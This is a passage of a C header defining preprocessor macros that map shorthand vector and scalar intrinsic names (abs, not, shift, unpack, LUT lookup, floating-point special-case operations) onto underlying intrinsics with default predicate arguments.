sg, es, gh) v_bf16_unpack_v_b(a, i, sg, es, gh, 1, 0)\n#define v_i16_unpack_v(a, i, sg, es, gh) v_i16_unpack_v_b(a, i, sg, es, gh, 1, 0)\n#define v_u16_unpack_v(a, i, sg, es, gh) v_u16_unpack_v_b(a, i, sg, es, gh, 1, 0)\n#define v_i8_unpack_v(a, i, sg, es, gh) v_i8_unpack_v_b(a, i, sg, es, gh, 1, 0)\n#define v_u8_unpack_v(a, i, sg, es, gh) v_u8_unpack_v_b(a, i, sg, es, gh, 1, 0)\n\n\n// GET_LUT_ENTRY_AND_INTERVAL_START\n#define v_f32_get_lut_entry_and_interval_start_v_b(a, i, sh, v, p, o) v_f32_get_lut_entry_and_interval_start_b(a, sh, (v) << 13, i, p, o)\n#define v_f32_get_lut_entry_and_interval_start_v_vb(a, i, sh, v, p, o) v_f32_get_lut_entry_and_interval_start_vb(a, sh, (v) << 13, i, to_bool64(p), o)\n#define v_bf16_get_lut_entry_and_interval_start_v_b(a, i, sh, v, p, o) v_bf16_get_lut_entry_and_interval_start_b(a, sh, (v) << 13, i, p, o)\n#define v_bf16_get_lut_entry_and_interval_start_v_vb(a, i, sh, v, p, o) v_bf16_get_lut_entry_and_interval_start_vb(a, sh, (v) << 13, i, to_bool128(p), o)\n\n#define v_f32_get_lut_entry_and_interval_start_v(a, sh, v) v_f32_get_lut_entry_and_interval_start_v_b(a, (uint64_float64_pair_t){0}, sh, v, 1, 0)\n#define v_bf16_get_lut_entry_and_interval_start_v(a, sh, v) v_bf16_get_lut_entry_and_interval_start_v_b(a, (ushort128_bfloat128_pair_t){0}, sh, v, 1, 0)\n\n\n// FORM_FP_NUMMBER\n#define v_f32_form_fp_num_v_v_v_b(a, b, c, i, s, p, o) v_f32_form_fp_num_b(a, b, c, s, i, p, o)\n#define v_f32_form_fp_num_v_v_v_vb(a, b, c, i, s, p, o) v_f32_form_fp_num_vb(a, b, c, s, i, to_bool64(p), o)\n#define v_bf16_form_fp_num_v_v_v_b(a, b, c, i, s, p, o) v_bf16_form_fp_num_b(a, b, c, s, i, p, o)\n#define v_bf16_form_fp_num_v_v_v_vb(a, b, c, i, s, p, o) v_bf16_form_fp_num_vb(a, b, c, s, i, to_bool128(p), o)\n\n#define v_f32_form_fp_num_i8_v_v_v_b(a, b, c, i, s, p, o) v_f32_form_fp_num_ie_b(a, b, c, s, i, p, o)\n#define v_f32_form_fp_num_i8_v_v_v_vb(a, b, c, i, s, p, o) v_f32_form_fp_num_ie_vb(a, b, c, s, i, to_bool64(p), o)\n#define v_bf16_form_fp_num_i8_v_v_v_b(a, b, c, i, s, p, o) v_bf16_form_fp_num_ie_b(a, b, c, s, i, p, o)\n#define v_bf16_form_fp_num_i8_v_v_v_vb(a, b, c, i, s, p, o) v_bf16_form_fp_num_ie_vb(a, b, c, s, i, to_bool128(p), o)\n\n#define v_f32_form_fp_num_s_v_v_b v_f32_form_fp_num_v_v_v_b\n#define v_f32_form_fp_num_s_v_v_vb v_f32_form_fp_num_v_v_v_vb\n#define v_bf16_form_fp_num_s_v_v_b v_bf16_form_fp_num_v_v_v_b\n#define v_bf16_form_fp_num_s_v_v_vb v_bf16_form_fp_num_v_v_v_vb\n\n\n#define v_f32_form_fp_num_i8_s_v_v_b v_f32_form_fp_num_i8_v_v_v_b\n#define v_f32_form_fp_num_i8_s_v_v_vb v_f32_form_fp_num_i8_v_v_v_vb\n#define v_bf16_form_fp_num_i8_s_v_v_b v_bf16_form_fp_num_i8_v_v_v_b\n#define v_bf16_form_fp_num_i8_s_v_v_vb v_bf16_form_fp_num_i8_v_v_v_vb\n\n\n#define v_f32_form_fp_num_v_v_v(a, b, c, s) v_f32_form_fp_num_v_v_v_b(a, b, c, 0, s, 1, 0)\n#define v_bf16_form_fp_num_v_v_v(a, b, c, s) v_bf16_form_fp_num_v_v_v_b(a, b, c, 0, s, 1, 0)\n#define v_f32_form_fp_num_i8_v_v_v(a, b, c, s) v_f32_form_fp_num_i8_v_v_v_b(a, b, c, 0, s, 1, 0)\n#define v_bf16_form_fp_num_i8_v_v_v(a, b, c, s) v_bf16_form_fp_num_i8_v_v_v_b(a, b, c, 0, s, 1, 0)\n#define v_f32_form_fp_num_s_v_v(a, b, c, s) v_f32_form_fp_num_s_v_v_b(a, b, c, 0, s, 1, 0)\n#define v_bf16_form_fp_num_s_v_v(a, b, c, s) v_bf16_form_fp_num_s_v_v_b(a, b, c, 0, s, 1, 0)\n#define v_f32_form_fp_num_i8_s_v_v(a, b, c, s) v_f32_form_fp_num_i8_s_v_v_b(a, b, c, 0, s, 1, 0)\n#define v_bf16_form_fp_num_i8_s_v_v(a, b, c, s) v_bf16_form_fp_num_i8_s_v_v_b(a, b, c, 0, s, 1, 0)\n\n\n#define s_i32_mov_irf_dim_i_b(s, i, d, p, o) mov_irf_dim(s, d, 0, i, p, o)\n#define s_i32_mov_irf_dim_i(s, d) s_i32_mov_irf_dim_i_b(s, 0, d, 1, 0)\n\n\n#define s_f32_calc_fp_special_s_s_b(s1, s2, i, f, p, o) s_f32_calc_fp_special(s1, s2, f, i, p, o)\n#define s_f32_calc_fp_special_s_b(s, i, f, p, o) s_f32_calc_fp_special_s_s_b(s, s, i, f, p, o)\n#define s_f32_calc_fp_special_s(s, i, f) s_f32_calc_fp_special_s_b(s, i, f, 1, 0)\n#define s_f32_calc_fp_special_s_s(s1, s2, i, f) s_f32_calc_fp_special_s_s_b(s1, s2, i, f, 1, 0)\n#define s_bf16_calc_fp_special_s_s_b(s1, s2, i, f, p, o) s_bf16_calc_fp_special(s1, s2, f, i, p, o)\n#define s_bf16_calc_fp_special_s_b(s, i, f, p, o) s_bf16_calc_fp_special_s_s_b(s, s, i, f, p, o)\n#define s_bf16_calc_fp_special_s(s, i, f) s_bf16_calc_fp_special_s_b(s, i, f, 1, 0)\n#define s_bf16_calc_fp_special_s_s(s1, s2, i, f) s_bf16_calc_fp_special_s_s_b(s1, s2, i, f, 1, 0)\n\n#define v_f32_calc_fp_special_v_v_b(v1, v2, i, f, p, o) v_f32_calc_fp_special_b(v1, v2, f, i, p, o)\n#define v_f32_calc_fp_special_v_v_vb(v1, v2, i, f, p, o) v_f32_calc_fp_special_vb(v1, v2, f, i, to_bool64(p), o)\n#define v_f32_calc_fp_special_v_b(v, i, f, p, o) v_f32_calc_fp_special_v_v_b(v, v, i, f, p, o)\n#define v_f32_calc_fp_special_v_vb(v, i, f, p, o) v_f32_calc_fp_special_v_v_vb(v, v, i, f, p, o)\n#define v_f32_calc_fp_special_v_v(v1, v2, i, f) v_f32_calc_fp_special_v_v_b(v1, v2, i, f, 1, 0)\n#define v_f32_calc_fp_special_v(v, i, f) v_f32_calc_fp_special_v_b(v, i, f, 1, 0)\n#define v_bf16_calc_fp_special_v_v_b(v1, v2, i, f, p, o) v_bf16_calc_fp_special_b(v1, v2, f, i, p, o)\n#define v_bf16_calc_fp_special_v_v_vb(v1, v2, i, f, p, o) v_bf16_calc_fp_special_vb(v1, v2, f, i, to_bool128(p), o)\n#define v_bf16_calc_fp_special_v_b(v, i, f, p, o) v_bf16_calc_fp_special_v_v_b(v, v, i, f, p, o)\n#define v_bf16_calc_fp_special_v_vb(v, i, f, p, o) v_bf16_calc_fp_special_v_v_vb(v, v, i, f, p, o)\n#define v_bf16_calc_fp_special_v_v(v1, v2, i, f) v_bf16_calc_fp_special_v_v_b(v1, v2, i, f, 1, 0)\n#define v_bf16_calc_fp_special_v(v, i, f) v_bf16_calc_fp_special_v_b(v, i, f, 1, 0)\n\n\n\n// ABS\n#define s_f32_abs_s_b(a, i, p, o) s_f32_abs(a, 0, i, p, o)\n#define s_bf16_abs_s_b(a, i, p, o) s_bf16_abs(a, 0, i, p, o)\n#define s_i32_abs_s_b(a, i, p, o) s_i32_abs(a, 0, i, p, o)\n#define s_i16_abs_s_b(a, i, p, o) s_i16_abs(a, 0, i, p, o)\n#define s_i8_abs_s_b(a, i, p, o) s_i8_abs(a, 0, i, p, o)\n\n#define s_f32_abs_s s_f32_abs\n#define s_bf16_abs_s s_bf16_abs\n#define s_i32_abs_s s_i32_abs\n#define s_i16_abs_s s_i16_abs\n#define s_i8_abs_s s_i8_abs\n\n#define i_i32_abs_i_b(a, i, m, p, o) i_i32_abs(a, m, 0, i, p, o)\n#define i_i32_abs_s_b i_i32_abs_i_b\n#define i_i32_abs_i(a, i, m) i_i32_abs_i_b(a, i, m, 1, 0)\n#define i_i32_abs_s i_i32_abs_i\n\n#define v_f32_abs_v_vb(a, i, p, o) v_f32_abs_vb(a, 0, i, to_bool64(p), o)\n#define v_f32_abs_v_b(a, i, p, o) v_f32_abs_b(a, 0, i, p, o)\n#define v_bf16_abs_v_vb(a, i, p, o) v_bf16_abs_vb(a, 0, i, to_bool128(p), o)\n#define v_bf16_abs_v_b(a, i, p, o) v_bf16_abs_b(a, 0, i, p, o)\n#define v_i32_abs_v_vb(a, i, p, o) v_i32_abs_vb(a, 0, i, to_bool64(p), o)\n#define v_i32_abs_v_b(a, i, p, o) v_i32_abs_b(a, 0, i, p, o)\n#define v_i16_abs_v_vb(a, i, p, o) v_i16_abs_vb(a, 0, i, to_bool128(p), o)\n#define v_i16_abs_v_b(a, i, p, o) v_i16_abs_b(a, 0, i, p, o)\n#define v_i8_abs_v_vb(a, i, p, o) v_i8_abs_vb(a, 0, i, p, o)\n#define v_i8_abs_v_b(a, i, p, o) v_i8_abs_b(a, 0, i, p, o)\n\n#define v_f32_abs_v v_f32_abs_b\n#define v_bf16_abs_v v_bf16_abs_b\n#define v_i32_abs_v v_i32_abs_b\n#define v_i16_abs_v v_i16_abs_b\n#define v_i8_abs_v v_i8_abs_b\n\n\n// NOT\n#define s_f32_not_s_b(a, i, p, o) s_f32_not(a, 0, i, p, o)\n#define s_bf16_not_s_b(a, i, p, o) s_bf16_not(a, 0, i, p, o)\n#define s_i32_not_s_b(a, i, p, o) s_i32_not(a, 0, i, p, o)\n#define s_u32_not_s_b(a, i, p, o) s_u32_not(a, 0, i, p, o)\n#define s_i16_not_s_b(a, i, p, o) s_i16_not(a, 0, i, p, o)\n#define s_u16_not_s_b(a, i, p, o) s_u16_not(a, 0, i, p, o)\n#define s_i8_not_s_b(a, i, p, o) s_i8_not(a, 0, i, p, o)\n#define s_u8_not_s_b(a, i, p, o) s_u8_not(a, 0, i, p, o)\n#define b_b_not_b_b(a, i, p, o) s_i1_not(a, 0, i, p, o)\n\n#define s_f32_not_s(a) s_f32_not_s_b(a, 0, 1, 0)\n#define s_bf16_not_s(a) s_bf16_not_s_b(a, 0, 1, 0)\n#define s_i32_not_s(a) s_i32_not_s_b(a, 0, 1, 0)\n#define s_u32_not_s(a) s_u32_not_s_b(a, 0, 1, 0)\n#define s_i16_not_s(a) s_i16_not_s_b(a, 0, 1, 0)\n#define s_u16_not_s(a) s_u16_not_s_b(a, 0, 1, 0)\n#define s_i8_not_s(a) s_i8_not_s_b(a, 0, 1, 0)\n#define s_u8_not_s(a) s_u8_not_s_b(a, 0, 1, 0)\n#define b_b_not_b(a) b_b_not_b_b(a, 0, 1, 0)\n\n#define v_f32_not_v_vb(a, i, p, o) v_f32_not_vb(a, 0, i, to_bool64(p), o)\n#define v_f32_not_v_b(a, i, p, o) v_f32_not_b(a, 0, i, p, o)\n#define v_bf16_not_v_vb(a, i, p, o) v_bf16_not_vb(a, 0, i, to_bool128(p), o)\n#define v_bf16_not_v_b(a, i, p, o) v_bf16_not_b(a, 0, i, p, o)\n#define v_i32_not_v_vb(a, i, p, o) v_i32_not_vb(a, 0, i, to_bool64(p), o)\n#define v_i32_not_v_b(a, i, p, o) v_i32_not_b(a, 0, i, p, o)\n#define v_u32_not_v_vb(a, i, p, o) v_u32_not_vb(a, 0, i, to_bool64(p), o)\n#define v_u32_not_v_b(a, i, p, o) v_u32_not_b(a, 0, i, p, o)\n#define v_i16_not_v_vb(a, i, p, o) v_i16_not_vb(a, 0, i, to_bool128(p), o)\n#define v_i16_not_v_b(a, i, p, o) v_i16_not_b(a, 0, i, p, o)\n#define v_u16_not_v_vb(a, i, p, o) v_u16_not_vb(a, 0, i, to_bool128(p), o)\n#define v_u16_not_v_b(a, i, p, o) v_u16_not_b(a, 0, i, p, o)\n#define v_i8_not_v_vb(a, i, p, o) v_i8_not_vb(a, 0, i, p, o)\n#define v_i8_not_v_b(a, i, p, o) v_i8_not_b(a, 0, i, p, o)\n#define v_u8_not_v_vb(a, i, p, o) v_u8_not_vb(a, 0, i, p, o)\n#define v_u8_not_v_b(a, i, p, o) v_u8_not_b(a, 0, i, p, o)\n#define bv_b_not_bv_vb(a, i, p, o) v_i1_not_vb(a, 0, i, p, o)\n#define bv_b_not_bv_b(a, i, p, o) v_i1_not_b(a, 0, i, p, o)\n\n#define v_f32_not_v(a) v_f32_not_v_b(a, 0, 1, 0)\n#define v_bf16_not_v(a) v_bf16_not_v_b(a, 0, 1, 0)\n#define v_i32_not_v(a) v_i32_not_v_b(a, 0, 1, 0)\n#define v_u32_not_v(a) v_u32_not_v_b(a, 0, 1, 0)\n#define v_i16_not_v(a) v_i16_not_v_b(a, 0, 1, 0)\n#define v_u16_not_v(a) v_u16_not_v_b(a, 0, 1, 0)\n#define v_i8_not_v(a) v_i8_not_v_b(a, 0, 1, 0)\n#define v_u8_not_v(a) v_u8_not_v_b(a, 0, 1, 0)\n#define bv_b_not_bv(a) bv_b_not_bv_b(a, (bool256){0}, 1, 0)\n\n#define i_i32_not_i_b(a, i, m, p, o) i_i32_not(a, m, 0, i, p, o)\n#define i_i32_not_s_b i_i32_not_i_b\n#define i_i32_not_i(a, i, m) i_i32_not_i_b(a, i, m, 1, 0)\n#define i_i32_not_s i_i32_not_i\n\n\n// SHR\n#define s_f32_shr_s_s_b(a, b, i, p, o) s_f32_shr(a, b, 0, i, p, o)\n#define s_bf16_shr_s_s_b(a, b, i, p, o) s_bf16_shr(a, b, 0, i, p, o)\n#define s_i32_shr_s_s_b(a, b, i, p, o) s_i32_shr(a, b, 0, i, p, o)\n#define s_u32_shr_s_s_b(a, b, i, p, o) s_u32_shr(a, b, 0, i, p, o)\n#define s_i16_shr_s_s_b(a, b, i, p, o) s_i16_shr(a, b, 0, i, p, o)\n#define s_u16_shr_s_s_b(a, b, i, p, o) s_u16_shr(a, b, 0, i, p, o)\n#define s_i8_shr_s_s_b(a, b, i, p, o) s_i8_shr(a, b, 0, i, p, o)\n#define s_u8_shr_s_s_b(a, b, i, p, o) s_u8_shr(a, b, 0, i, p, o)\n\n#define s_f32_shr_s_s(a, b) s_f32_shr_s_s_b(a, b, 0, 1, 0)\n#define s_bf16_shr_s_s(a, b) s_bf16_shr_s_s_b(a, b, 0, 1, 0)\n#define s_i32_shr_s_s(a, b) s_i32_shr_s_s_b(a, b, 0, 1, 0)\n#define s_u32_shr_s_s(a, b) s_u32_shr_s_s_b(a, b, 0, 1, 0)\n#define s_i16_shr_s_s(a, b) s_i16_shr_s_s_b(a, b, 0, 1, 0)\n#define s_u16_shr_s_s(a, b) s_u16_shr_s_s_b(a, b, 0, 1, 0)\n#define s_i8_shr_s_s(a, b) s_i8_shr_s_s_b(a, b, 0, 1, 0)\n#define s_u8_shr_s_s(a, b) s_u8_shr_s_s_b(a, b, 0, 1, 0)\n\n#define i_i32_shr_i_i_b(a, b, i, m, p, o) i_i32_shr(a, b, m, 0, i, p, o)\n#define i_i32_shr_i_s_b i_i32_shr_i_i_b\n#define i_i32_shr_i_i(a, b, i, m) i_i32_shr_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_shr_i_s i_i32_shr_i_i\n\n#define v_f32_shr_v_v_vb(a, b, i, p, o) v_f32_shr_vb(a, b, 0, i, to_bool64(p), o)\n#define v_f32_shr_v_v_b(a, b, i, p, o) v_f32_shr_b(a, b, 0, i, p, o)\n#define v_bf16_shr_v_v_vb(a, b, i, p, o) v_bf16_shr_vb(a, b, 0, i, to_bool128(p), o)\n#define v_bf16_shr_v_v_b(a, b, i, p, o) v_bf16_shr_b(a, b, 0, i, p, o)\n#define v_i32_shr_v_v_vb(a, b, i, p, o) v_i32_shr_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i32_shr_v_v_b(a, b, i, p, o) v_i32_shr_b(a, b, 0, i, p, o)\n#define v_u32_shr_v_v_vb(a, b, i, p, o) v_u32_shr_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_shr_v_v_b(a, b, i, p, o) v_u32_shr_b(a, b, 0, i, p, o)\n#define v_i16_shr_v_v_vb(a, b, i, p, o) v_i16_shr_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i16_shr_v_v_b(a, b, i, p, o) v_i16_shr_b(a, b, 0, i, p, o)\n#define v_u16_shr_v_v_vb(a, b, i, p, o) v_u16_shr_vb(a, b, 0, i, to_bool128(p), o)\n#define v_u16_shr_v_v_b(a, b, i, p, o) v_u16_shr_b(a, b, 0, i, p, o)\n#define v_i8_shr_v_v_vb(a, b, i, p, o) v_i8_shr_vb(a, b, 0, i, p, o)\n#define v_i8_shr_v_v_b(a, b, i, p, o) v_i8_shr_b(a, b, 0, i, p, o)\n#define v_u8_shr_v_v_vb(a, b, i, p, o) v_u8_shr_vb(a, b, 0, i, p, o)\n#define v_u8_shr_v_v_b(a, b, i, p, o) v_u8_shr_b(a, b, 0, i, p, o)\n\n#define v_f32_shr_v_s_vb v_f32_shr_v_v_vb\n#define v_f32_shr_v_s_b v_f32_shr_v_v_b\n#define v_bf16_shr_v_s_vb v_bf16_shr_v_v_vb\n#define v_bf16_shr_v_s_b v_bf16_shr_v_v_b\n#define v_i32_shr_v_s_vb v_i32_shr_v_v_vb\n#define v_i32_shr_v_s_b v_i32_shr_v_v_b\n#define v_u32_shr_v_s_vb v_u32_shr_v_v_vb\n#define v_u32_shr_v_s_b v_u32_shr_v_v_b\n#define v_i16_shr_v_s_vb v_i16_shr_v_v_vb\n#define v_i16_shr_v_s_b v_i16_shr_v_v_b\n#define v_u16_shr_v_s_vb v_u16_shr_v_v_vb\n#define v_u16_shr_v_s_b v_u16_shr_v_v_b\n#define v_i8_shr_v_s_vb v_i8_shr_v_v_vb\n#define v_i8_shr_v_s_b v_i8_shr_v_v_b\n#define v_u8_shr_v_s_vb v_u8_shr_v_v_vb\n#define v_u8_shr_v_s_b v_u8_shr_v_v_b\n\n#define v_f32_shr_v_v(a, b) v_f32_shr_v_v_b(a, b, 0, 1, 0)\n#define v_bf16_shr_v_v(a, b) v_bf16_shr_v_v_b(a, b, 0, 1, 0)\n#define v_i32_shr_v_v(a, b) v_i32_shr_v_v_b(a, b, 0, 1, 0)\n#define v_u32_shr_v_v(a, b) v_u32_shr_v_v_b(a, b, 0, 1, 0)\n#define v_i16_shr_v_v(a, b) v_i16_shr_v_v_b(a, b, 0, 1, 0)\n#define v_u16_shr_v_v(a, b) v_u16_shr_v_v_b(a, b, 0, 1, 0)\n#define v_i8_shr_v_v(a, b) v_i8_shr_v_v_b(a, b, 0, 1, 0)\n#define v_u8_shr_v_v(a, b) v_u8_shr_v_v_b(a, b, 0, 1, 0)\n\n#define v_f32_shr_v_s v_f32_shr_v_v\n#define v_bf16_shr_v_s v_bf16_shr_v_v\n#define v_i32_shr_v_s v_i32_shr_v_v\n#define v_u32_shr_v_s v_u32_shr_v_v\n#define v_i16_shr_v_s v_i16_shr_v_v\n#define v_u16_shr_v_s v_u16_shr_v_v\n#define v_i8_shr_v_s v_i8_shr_v_v\n#define v_u8_shr_v_s v_u8_shr_v_v\n\n\n// SHL\n#define s_f32_shl_s_s_b(a, b, i, p, o) s_f32_shl(a, b, 0, i, p, o)\n#define s_bf16_shl_s_s_b(a, b, i, p, o) s_bf16_shl(a, b, 0, i, p, o)\n#define s_i32_shl_s_s_b(a, b, i, p, o) s_i32_shl(a, b, 0, i, p, o)\n#define s_u32_shl_s_s_b(a, b, i, p, o) s_u32_shl(a, b, 0, i, p, o)\n#define s_i16_shl_s_s_b(a, b, i, p, o) s_i16_shl(a, b, 0, i, p, o)\n#define s_u16_shl_s_s_b(a, b, i, p, o) s_u16_shl(a, b, 0, i, p, o)\n#define s_i8_shl_s_s_b(a, b, i, p, o) s_i8_shl(a, b, 0, i, p, o)\n#define s_u8_shl_s_s_b(a, b, i, p, o) s_u8_shl(a, b, 0, i, p, o)\n\n#define s_f32_shl_s_s(a, b) s_f32_shl_s_s_b(a, b, 0, 1, 0)\n#define s_bf16_shl_s_s(a, b) s_bf16_shl_s_s_b(a, b, 0, 1, 0)\n#define s_i32_shl_s_s(a, b) s_i32_shl_s_s_b(a, b, 0, 1, 0)\n#define s_u32_shl_s_s(a, b) s_u32_shl_s_s_b(a, b, 0, 1, 0)\n#define s_i16_shl_s_s(a, b) s_i16_shl_s_s_b(a, b, 0, 1, 0)\n#define s_u16_shl_s_s(a, b) s_u16_shl_s_s_b(a, b, 0, 1, 0)\n#define s_i8_shl_s_s(a, b) s_i8_shl_s_s_b(a, b, 0, 1, 0)\n#define s_u8_shl_s_s(a, b) s_u8_shl_s_s_b(a, b, 0, 1, 0)\n\n#define i_i32_shl_i_i_b(a, b, i, m, p, o) i_i32_shl(a, b, m, 0, i, p, o)\n#define i_i32_shl_i_s_b i_i32_shl_i_i_b\n#define i_i32_shl_i_i(a, b, i, m) i_i32_shl_i_i_b(a, b, i, m, 1, 0)\n#define i_i32_shl_i_s i_i32_shl_i_i\n\n#define v_f32_shl_v_v_vb(a, b, i, p, o) v_f32_shl_vb(a, b, 0, i, to_bool64(p), o)\n#define v_f32_shl_v_v_b(a, b, i, p, o) v_f32_shl_b(a, b, 0, i, p, o)\n#define v_bf16_shl_v_v_vb(a, b, i, p, o) v_bf16_shl_vb(a, b, 0, i, to_bool128(p), o)\n#define v_bf16_shl_v_v_b(a, b, i, p, o) v_bf16_shl_b(a, b, 0, i, p, o)\n\n#define v_i32_shl_v_v_vb(a, b, i, p, o) v_i32_shl_vb(a, b, 0, i, to_bool64(p), o)\n#define v_i32_shl_v_v_b(a, b, i, p, o) v_i32_shl_b(a, b, 0, i, p, o)\n#define v_u32_shl_v_v_vb(a, b, i, p, o) v_u32_shl_vb(a, b, 0, i, to_bool64(p), o)\n#define v_u32_shl_v_v_b(a, b, i, p, o) v_u32_shl_b(a, b, 0, i, p, o)\n#define v_i16_shl_v_v_vb(a, b, i, p, o) v_i16_shl_vb(a, b, 0, i, to_bool128(p), o)\n#define v_i16_shl_v_v_b(a, b, i, p, o) v_i16_shl_b(a, b, 0, i, p, o)\n#define v_u16_shl_v_v_vb(a, b, i, p, o) v_u16_shl_vb(a, b, 0, i, to_bool128(p), o)\n#define v_u16_shl_v_v_b(a, b, i, p, o) v_u16_shl_b(a, b, 0, i, p, o)\n#define v_i8_shl_v_v_vb(a, b, i, p, o) v_i8_shl_vb(a, b, 0, i, p, o)\n#define v_i8_shl_v_v_b(a, b, i, p, o) v_i8_shl_b(a, b, 0, i, p, o)\n#define v_u8_shl_v_v_vb(a, b, i, p, o) v_u8_shl_vb(a, b, 0, i, p, o)\n#define v_u8_shl_v_v_b(a, b, i, p, o) v_u8_shl_b(a, b, 0, i, p, o)\n\n#define v_f32_shl_v_s_vb v_f32_shl_v_v_vb\n#define v_f32_shl_v_s_b v_f32_shl_v_v_b\n#define v_bf16_shl_v_s_vb v_bf16_shl_v_v_vb\n#define v_bf16_shl_v_s_b v_bf16_shl_v_v_b\n#define v_i32_shl_v_s_vb v_i32_shl_v_v_vb\n#define v_i32_shl_v_s_b v_i32_shl_v_v_b\n#define v_u32_shl_v_s_vb v_u32_shl_v_v_vb\n#define v_u32_shl_v_s_b v_u32_shl_v_v_b\n#define v_i16_shl_v_s_vb v_i16_shl_v_v_vb\n#define v_i16_shl_v_s_b v_i16_shl_v_v_b\n#define v_u16_shl_v_s_vb v_u16_shl_v_v_vb\n#define v_u16_shl_v_s_b v_u16_shl_v_v_b\n#define v_i8_shl_v_s_vb v_i8_shl_v_v_vb\n#define v_i8_shl_v_s_b v_i8_shl_v_v_b\n#define v_u8_shl_v_s_vb v_u8_shl_v_v_vb\n#define v_u8_shl_v_s_b v_u8_shl_v_v_b\n\n#define v_f32_shl_v_v(a, b) v_f32_shl_v_v_b(a, b, 0, 1, 0)\n#define v_bf16_shl_v_v(a, b) v_bf16_shl_v_v_b(a, b, 0, 1, 0)\n#define v_i32_shl_v_v(a, b) v_i32_shl_v_v_b(a, b, 0, 1, 0)\n#define v_u32_shl_v_v(a, b) v_u32_shl_v_v_b(a, b, 0, 1, 0)\n#define v_i16_shl_v_v(a, b) v_i16_shl_v_v_b(a, b, 0, 1, 0)\n#define v_u16_shl_v_v(a, b) v_u16_shl_v_v_b(a, b, 0, 1, 0)\n#define v_i8_shl_v_v(a, b) v_i8_shl_v_v_b(a, b, 0, 1, 0)\n#define v_u8_shl_v_v(a, b) v_u8_shl_v_v_b(a, b, 0, 1, 0)\n\n#define v_f32_shl_v_s v_f32_shl_v_v\n#define v_bf16_shl_v_s v_bf16_shl_v_v\n#define v_i32_shl_v_s v_i32_shl_v_v\n#define v_u32_shl_v_s v_u32_shl_v_v\n#define v_i16_shl_v_s v_i16_shl_v_v\n#define v_u16_shl_v_s v_u16_shl_v_v\n#define v_i8_shl_v_s v_i8_shl_v_v\n#define v_u8_shl_v_s v_u8_shl_v_v\n\n\n// ASH\n#define s_i32_ash_s_s_b(a, b, i, rne, p, o) s_i32_ash(a, b, rne << 1, i, p, o)\n#define s_u32_ash_s_s_b(a, b, i, rne, p, o) s_u32_ash(a, b, rne << 1, i, p, o)\n#define s_i16_ash_s_s_b(a, b, i, rne, p, o) s_i16_ash(a, b, rne << 1, i, p, o)\n#define s_u16_ash_s_s_b(a, b, i, rne, p, o) s_u16_ash(a, b, rne << 1, i, p, o)\n#define s_i8_ash_s_s_b(a, b, i, rne, p, o) s_i8_ash(a, b, rne << 1, i, p, o)\n#define s_u8_ash_s_s_b(a, b, i, rne, p, o) s_u8_ash(a, b, rne << 1, i, p, o)\n\n#define s_i32_ash_s_s(a, b, rne) s_i32_ash_s_s_b(a, b, 0, rne, 1, 0)\n#define s_u32_ash_s_s(a, b, rne) s_u32_ash_s_s_b(a, b, 0, rne, 1, 0)\n#define s_i16_ash_s_s(a, b, rne) s_i16_ash_s_s_b(a, b, 0, rne, 1, 0)\n#define s_u16_ash_s_s(a, b, rne) s_u16_ash_s_s_b(a, b, 0, rne, 1, 0)\n#define s_i8_ash_s_s(a, b, rne) s_i8_ash_s_s_b(a, b, 0, rne, 1, 0)\n#define s_u8_ash_s_s(a, b, rne) s_u8_ash_s_s_b(a, b, 0, rne, 1, 0)\n\n#define v_bf16_ash_v_v_vb(a, b, i, rne, p, o) v_bf16_ash_vb(a, b, rne << 1, i, to_bool128(p), o)\n#define v_bf16_ash_v_v_b(a, b, i, rne, p, o) v_bf16_ash_b(a, b, rne << 1, i, p, o)\n#define v_i32_ash_v_v_vb(a, b, i, rne, p, o) v_i32_ash_vb(a, b, rne << 1, i, to_bool64(p), o)\n#define v_i32_ash_v_v_b(a, b, i, rne, p, o) v_i32_ash_b(a, b, rne << 1, i, p, o)\n#define v_u32_ash_v_v_vb(a, b, i, rne, p, o) v_u32_ash_vb(a, b, rne << 1, i, to_bool64(p), o)\n#define v_u32_ash_v_v_b(a, b, i, rne, p, o) v_u32_ash_b(a, b, rne << 1, i, p, o)\n#define v_i16_ash_v_v_vb(a, b, i, rne, p, o) v_i16_ash_vb(a, b, rne << 1, i, to_bool128(p), o)\n#define v_i16_ash_v_v_b(a, b, i, rne, p, o) v_i16_ash_b(a, b, rne << 1, i, p, o)\n#define v_u16_ash_v_v_vb(a, b, i, rne, p, o) v_u16_ash_vb(a, b, rne << 1, i, to_bool128(p), o)\n#define v_u16_ash_v_v_b(a, b, i, rne, p, o) v_u16_ash_b(a, b, rne << 1, i, p, o)\n#define v_i8_ash_v_v_vb(a, b, i, rne, p, o) v_i8_ash_vb(a, b, rne << 1, i, p, o)\n#define v_i8_ash_v_v_b(a, b, i, rne, p, o) v_i8_ash_b(a, b, rne << 1, i, p, o)\n#define v_u8_ash_v_v_vb(a, b, i, rne, p, o) v_u8_ash_vb(a, b, rne << 1, i, p, o)\n#define v_u8_ash_v_v_b(a, b, i, rne, p, o) v_u8_ash_b(a, b, rne << 1, i, p, o)\n\n#define v_i32_ash_v_s_vb v_i32_ash_v_v_vb\n#define v_i32_ash_v_s_b v_i32_ash_v_v_b\n#define v_u32_ash_v_s_vb v_u32_ash_v_v_vb\n#define v_u32_ash_v_s_b v_u32_ash_v_v_b\n#define v_i16_ash_v_s_vb v_i16_ash_v_v_vb\n#define v_i16_ash_v_s_b v_i16_ash_v_v_b\n#define v_u16_ash_v_s_vb v_u16_ash_v_v_vb\n#define v_u16_ash_v_s_b v_u16_ash_v_v_b\n#define v_i8_ash_v_s_vb v_i8_ash_v_v_vb\n#define v_i8_ash_v_s_b v_i8_ash_v_v_b\n#define v_u8_ash_v_s_vb v_u8_ash_v_v_vb\n#define v_u8_ash_v_s_b v_u8_ash_v_v_b\n\n#define v_i32_ash_v_v(a, b, rne) v_i32_ash_v_v_b(a, b, 0, rne, 1, 0)\n#define v_u32_ash_v_v(a, b, rne) v_u32_ash_v_v_b(a, b, 0, rne, 1, 0)\n#define v_i16_ash_v_v(a, b, rne) v_i16_ash_v_v_b(a, b, 0, rne, 1, 0)\n#define v_u16_ash_v_v(a, b, rne) v_u16_ash_v_v_b(a, b, 0, rne, 1, 0)\n#define v_i8_ash_v_v(a, b, rne) v_i8_ash_v_v_b(a, b, 0, rne, 1, 0)\n#define v_u8_ash_v_v(a, b, rne) v_u8_ash_v_v_b(a, b, 0, rne, 1, 0)\n\n#define v_i32_ash_v_s v_i32_ash_v_v\n#define v_u32_ash_v_s v_u32_ash_v_v\n#define 